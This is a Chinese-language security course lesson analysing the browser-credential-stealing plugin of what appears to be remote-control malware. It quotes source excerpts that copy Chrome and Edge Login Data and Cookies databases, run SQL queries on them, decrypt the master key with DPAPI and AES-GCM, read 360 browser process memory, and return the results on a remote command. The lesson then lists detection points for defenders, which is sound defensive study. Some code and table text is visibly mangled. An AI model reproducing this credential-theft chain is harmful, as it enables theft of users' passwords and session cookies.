43 / 52 音视频、代理与系统扩展

第 43 课:主插件:解密数据

# 第 43 课:主插件:解密数据

免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。

本课围绕 主插件\解密数据 展开。这个模块围绕浏览器密码、Cookie、浏览器配置文件、SQLite 数据库、DPAPI、AES-GCM、进程内存读取展开。对企业和安全工程学习者来说,本课的核心是理解“凭据读取链路”长什么样,以及如何在文件、API、进程、网络四个层面发现它。 第 43 课:主插件:解密数据(配图)

# 1. 新手先理解:它到底在读什么。

现代浏览器通常不会把明文密码直接放在文件里,而是把敏感数据存入 SQLite 数据库,再通过系统保护机制或浏览器密钥进行加密。源码中的思路是:定位用户浏览器目录,复制数据库,读取 Local State 中的加密主密钥,调用 DPAPI 解开主密钥,再解密数据库里的敏感字段。 这类行为在安全工程里属于高危数据访问。教程只解释防御识别点,不提供可用于窃取凭据的操作流程。 1. 新手先理解:它到底在读什么。(配图)

# 2. 源码目录和文件

位置 作用 阅读重点
主插件\解密数据\解密数据\解密数据.cpp 插件入口 建立连接、创建 CDecryptManger
主插件\解密数据\解密数据\DecryptManger.h/.cpp 命令分发和结果格式化 浏览器类型命令、敏感字段发送
主插件\解密数据\解密数据\GetBrowserInfo.h/.cpp Chrome/Edge/QQ/360 极速路径 浏览器目录、SQLite、Local State、DPAPI
主插件\解密数据\解密数据\Get360seInfo.h/.cpp 360 安全浏览器特殊路径 SQLite 加密、进程内存读取随机因子
主插件\解密数据\解密数据\UnCode.h/.cpp 解密辅助函数 CryptUnprotectData、AES-GCM、哈希
主插件\解密数据\解密数据\include 第三方库 SQLite、OpenSSL、base64、cJSON

依赖说明: 本课第三方库较多:SQLite 用于读取浏览器数据库,OpenSSL 用于 AES-GCM 等解密运算,base64 用于解析 Local State 里的编码字段,cJSON 用于读取 JSON 配置。Windows DPAPI 的 CryptUnprotectData 负责解开本机用户保护的数据。单独使用这些库可能合法,但它们和浏览器敏感文件、DPAPI、网络发送组合出现时,应按凭据读取链处理。

# 3. 关键结构和函数

函数 大致行号 角色 防御关注
CDecryptManger::OnReceive DecryptManger.cpp 25-125 按命令读取不同浏览器数据 远程命令触发凭据访问
GetBrowserInfo::GetData GetBrowserInfo.cpp 306-385 读取登录数据 Login Data.tmp、SQLite 查询
GetBrowserInfo::GetCookies GetBrowserInfo.cpp 142-215 读取 Cookie Cookies.tmp、加密字段解密
GetBrowserInfo::GetMasterKey GetBrowserInfo.cpp 441-465 解析 Local State 并调用 DPAPI 非浏览器进程调用 DPAPI
AesGcmDecrypt UnCode.cpp 6-37 AES-GCM 解密 OpenSSL 解密敏感字段
Get360seInfo::EnumProcessGetRandstr Get360seInfo.cpp 347-365 读取浏览器进程内存 OpenProcess(PROCESS_VM_READ)

# 4. 命令入口:远程命令如何触发凭据读取。

CDecryptManger::OnReceive 根据命令选择浏览器类型,并把结果发送回去。防御侧要关注“收到命令后访问浏览器敏感文件,再进行网络发送”的链条。

// 源码位置:主插件\解密数据\解密数据\DecryptManger.cpp,约25-125 void CDecryptManger::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
    switch (lpBuffer[0])
    {
    case COMMAND_LLQ_GetChromePassWord:
    {
        int size = 0;
        char* get = nullptr;
        if (GetChromePassWord(&get, &size))
        {
            Send((LPBYTE)get, size);
            DeleteMem(&get);
        }
        else
        {
            senderror();
        }
    }
    break;

    case COMMAND_LLQ_GetChromeCookies:
        // 防御分析:Cookie 与密码同样属于高敏感数据        // 企业检测应把浏览器 Cookie 读取纳入凭据保护范围        break;
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

# 5. 浏览器目录和敏感文件

GetBrowserInfo 构造函数会根据浏览器类型拼接用户配置目录,重点文件包括 Login DataCookiesLocal State

// 源码位置:主插件\解密数据\解密数据\GetBrowserInfo.cpp,约19-75 GetBrowserInfo::GetBrowserInfo(BroType brot) : m_brot(brot)
{
    switch (m_brot)
    {
    case chrome:
        m_BroDir = "\\Google\\Chrome\\";
        m_BroName = "Chrome";
        break;
    case edge:
        m_BroDir = "\\Microsoft\\Edge\\";
        m_BroName = "Edge";
        break;
    }

    m_loginDataPath = GetFullPathFromRelativeToBro("User Data\\default\\Login Data");
    m_localStatePath = GetFullPathFromRelativeToBro("User Data\\Local State");

    // 防御分析:非浏览器进程访Login Data、Cookies、Local State    // 是凭据读取检测中的重要文件侧信号}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

企业文件侧检测建议:

文件 含义 检测点
Login Data 登录凭据数据 非浏览器进程读取或复用
Cookies Cookie 数据 非浏览器进程读取或复用
Local State 浏览器配置和加密主密 非浏览器进程读取后调DPAPI
*.tmp 临时副本 绕开数据库锁的常见方 Login Data.tmpCookies.tmp

# 6. SQLite 读取链路

源码会先复制数据库,再用 SQLite 打开临时副本。这类“复制再读”的模式很常见,因为浏览器运行时数据库可能被锁定。

// 源码位置:主插件\解密数据\解密数据\GetBrowserInfo.cpp,约306-385 DWORD GetBrowserInfo::GetData(std::vector<BrowserData>* pBroData)
{
    DATA_BLOB masterKey = {};
    bool isVerNew80 = GetMasterKey(&masterKey);

    LPCSTR loginDataTemporaryCopyPath = "Login Data.tmp";
    remove(loginDataTemporaryCopyPath);

    if (!CopyFileA(m_loginDataPath.c_str(), loginDataTemporaryCopyPath, TRUE)) {
        m_errCode = BROWSER_COPY_LOGIN_DATA_FAILED;
        return false;
    }

    sqlite3* connection;
    sqlite3_open(loginDataTemporaryCopyPath, &connection);

    LPCSTR query = "SELECT origin_url, username_value, password_value,date_created FROM logins";
    sqlite3_prepare_v2(connection, query, -1, &result, 0);

    // 防御分析:这里只作为源码识别。检测时重点关注非浏览器进程
    // 复制 Login Data 并打开 SQLite 的组合行为}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

Cookie 路径相似,但查询的是 cookies 表。

// 源码位置:主插件\解密数据\解密数据\GetBrowserInfo.cpp,约142-215 DWORD GetBrowserInfo::GetCookies(std::vector<BrowserCookies>* pBroCookies)
{
    DATA_BLOB masterKey = {};
    bool isVerNew80 = GetMasterKey(&masterKey);

    LPCSTR CookiesTemporaryCopyPath = "Cookies.tmp";
    CopyFileA(m_chromeCookiespath.c_str(), CookiesTemporaryCopyPath, TRUE);

    sqlite3_open(CookiesTemporaryCopyPath, &connection);

    LPCSTR query =
        "SELECT host_key, name, path, encrypted_value,expires_utc,has_expires,is_persistent FROM cookies";

    // 防御分析:Cookie 可用于会话接管,敏感程度不低于密码
    // 文件访问、SQLite 查询、网络外发需要一起看
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

# 7. DPAPI AES-GCM 解密。

7. DPAPI AES-GCM 解密。(配图)

Chrome/Edge 新版本常见路径是:Local State 中保存 os_crypt.encrypted_key,该值经 Base64 编码,解码后去掉 DPAPI 前缀,再调用 CryptUnprotectData。得到主密钥后,再用 AES-GCM 解数据库字段。

// 源码位置:主插件\解密数据\解密数据\GetBrowserInfo.cpp,约441-465
bool GetBrowserInfo::GetMasterKey(DATA_BLOB* pDatab)
{
    LPSTR encryptedKeyBase64;
    LPCSTR errorStr = ParseEncryptedKey(&encryptedKeyBase64);
    if (errorStr) {
        return false;
    }

    size_t encryptedKeyLength = Base64decode_len(encryptedKeyBase64);
    LPSTR encryptedKey = (LPSTR)malloc(encryptedKeyLength);
    Base64decode(encryptedKey, encryptedKeyBase64);

    // Removing "DPAPI" (5 symbols)
    DATA_BLOB dataIn = { (DWORD)encryptedKeyLength - 5, (BYTE*)(encryptedKey + 5) };

    if (!CryptUnprotectData(&dataIn, NULL, NULL, NULL, NULL, 0, pDatab)) {
        return false;
    }

    // 防御分析:非浏览器进程读Local State 后调用 CryptUnprotectData    // 是高价值检测组合}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// 源码位置:主插件\解密数据\解密数据\UnCode.cpp,约6-37 BOOL AesGcmDecrypt(DATA_BLOB cipher, DATA_BLOB key, DATA_BLOB iv, PDATA_BLOB decrypted)
{
    EVP_CIPHER_CTX* ctx = EVP_CIPHER_CTX_new();

    EVP_DecryptInit_ex(ctx, EVP_aes_256_gcm(), NULL, NULL, NULL);
    EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_GCM_SET_IVLEN, iv.cbData, NULL);
    EVP_DecryptInit_ex(ctx, NULL, NULL, key.pbData, iv.pbData);
    EVP_DecryptUpdate(ctx, decrypted->pbData, &bufLen, cipher.pbData, cipher.cbData);

    EVP_CIPHER_CTX_free(ctx);

    // 防御分析:OpenSSL AES-GCM 与浏览器凭据文件访问同时出现时,
    // 应提高事件优先级}
1
2
3
4
5
6
7
8
9
10
11
12
13

# 8. 360 浏览器特殊路。

360 安全浏览器部分还出现了进程内存读取:枚举 360se.exe,打开进程,读取 chrome.dll 附近的数据。对企业检测来说,这比单纯读文件更危险,因为它跨过了进程边界。

// 源码位置:主插件\解密数据\解密数据\Get360seInfo.cpp,约294-365 bool Get360seInfo::EnumProcessGetRandstr()
{
    HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 process = { sizeof(PROCESSENTRY32) };

    while (Process32Next(hProcessSnap, &process)) {
        if (_wcsicmp(process.szExeFile, _T("360se.exe")) == 0) {
            HANDLE h_360se = OpenProcess(PROCESS_VM_READ, FALSE, process.th32ProcessID);

            // 防御分析:非浏览器进程以 PROCESS_VM_READ 打开浏览器进程,
            // 并随ReadProcessMemory,应作为凭据读取链的一部分        }
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13

8. 360 浏览器特殊路。(配图)

# 9. 企业检测点

9. 企业检测点(配图)

层面 检测点 说明
文件 非浏览器进程访问 Login DataCookiesLocal State 最基础的凭据保护信
临时文件 当前目录出现 Login Data.tmpCookies.tmp 常用于复制后读取
API CryptUnprotectData 与浏览器文件访问关联后风险升
加密 OpenSSL AES-GCM 单独不恶意,结合凭据文件后高
进程 OpenProcess(PROCESS_VM_READ) 指向浏览器进 需要重点关
网络 读取敏感字段后外 关注字段格式、会话目的地、时间窗
身份 进程用户与浏览器配置所属用户一 DPAPI 解密常依赖同用户上下

# 10. 合法练习:

  1. 不运行模块,只根据源码画出 Local State -> DPAPI -> AES-GCM -> SQLite 字段 的数据流?

  2. 写一条检测思路:非浏览器进程在 2 分钟内读取 Local State、复制 Login Data、调?CryptUnprotectData

  3. 说明为什Cookie 也应该被纳入凭据保护,而不是只保护密码?

  4. 在测试机上用合法样本构造文件访问日志,练习区分浏览器自身访问和第三方进程访问。

安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。

上次更新: 2026/07/14, 19:37:40

社区交流

讨论与留言

前往 GitHub Issues →

本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。

最近更新
第 1 课:专栏导论与安全边界
07-01
第 3 课:安装编译与调试环境
07-01
第 4 课:第三方库下载、编译与依赖管理
07-01
更多文章>